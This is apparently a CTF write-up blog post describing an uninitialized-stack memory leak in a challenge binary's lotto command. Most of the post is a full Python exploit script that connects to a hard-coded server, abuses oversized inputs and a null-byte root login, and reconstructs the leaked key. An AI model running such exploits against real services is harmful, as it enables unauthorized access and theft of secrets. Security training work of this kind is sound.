This time with a quick writeup . Well , I took some time to reverse the binary under IDA and I soon discovered that the vulnerability was a memory leak which leaks 16 bytes from the stack and the vulnerable function was cmd_lotto, here's the full exploit :
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Spiderz : @Souhail | |
#The key is being read from the key file , if the supplied username is root\x00. | |
#The buffer containing the read key is always zeroed unless the key supplied by the user is invalid. In my case I exceed its max length 61 bytes. | |
import socket | |
import struct | |
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.connect(('54.208.86.14',9988)) | |
sweet_flag = '' | |
#s.connect(('localhost',9988)) | |
print 'Wait for it ...\n' | |
s.recv(1024) | |
s.send('spiderz') | |
s.recv(1024) | |
for i in range(4): | |
s.send('login') | |
s.recv(1024) | |
s.send('\x41'*64) # Login with a large username to 'allocate' more of the stack (strcpy protection) | |
s.recv(1024) | |
s.send('login') | |
s.recv(1024) | |
s.send('root'+'\x00') # Force login using root with nullbyte | |
s.recv(1024) | |
s.send('\x44'*128) # Large password to bypass zeroing the key (login fails => return to the parent shell with the key leaked in the unwinded stack frame) | |
s.recv(1024) | |
s.send('exit') # Back to the original shell stack (2 stack frames unwinded now in total) | |
s.recv(1024) | |
s.send('login') | |
s.recv(1024) | |
s.send('\x42'*(128-16*i)) #Provide a longer username to boost our selves up closer to the leaked key in the stack (lotto variables stack space < shell variables stack pace). | |
#Each loop substracts 16 bytes from the string. Thus controlling where lotto function variables are (making lotto print the read key as it was the randed numbers). | |
s.recv(1024) | |
s.send('lotto') # run the command which calls the vulnerable function | |
s.recv(1024) | |
s.send('\x30') # Supply 0 to it , which results in keeping the variables uninitialized. | |
s.recv(1024) # these numbers won't be compared anyway (supplied 0 as a lvl) | |
s.send('1515') # guessed num 1 | |
s.recv(1024) | |
s.send('15') # guessed num 2 | |
s.recv(1024) | |
s.send('50') # guessed num 3 | |
s.recv(1024) | |
s.send('1337') # guessed num 4 | |
s.recv(1024) | |
int_flag = s.recv(1024) | |
int_flag = int_flag.split('\n')[2].split(',') | |
for j in range(4) : | |
sweet_flag += struct.pack("<I",int(int_flag[j])) | |
s.send('exit') # back to the original shell (spiderz username) | |
s.recv(1024) | |
s.close() | |
print "I haz teh flagz : " + sweet_flag |
Download binary : Here
Follow me on Twitter : Here
See you soon :).
- Souhail
Great, Thanks !
ReplyDelete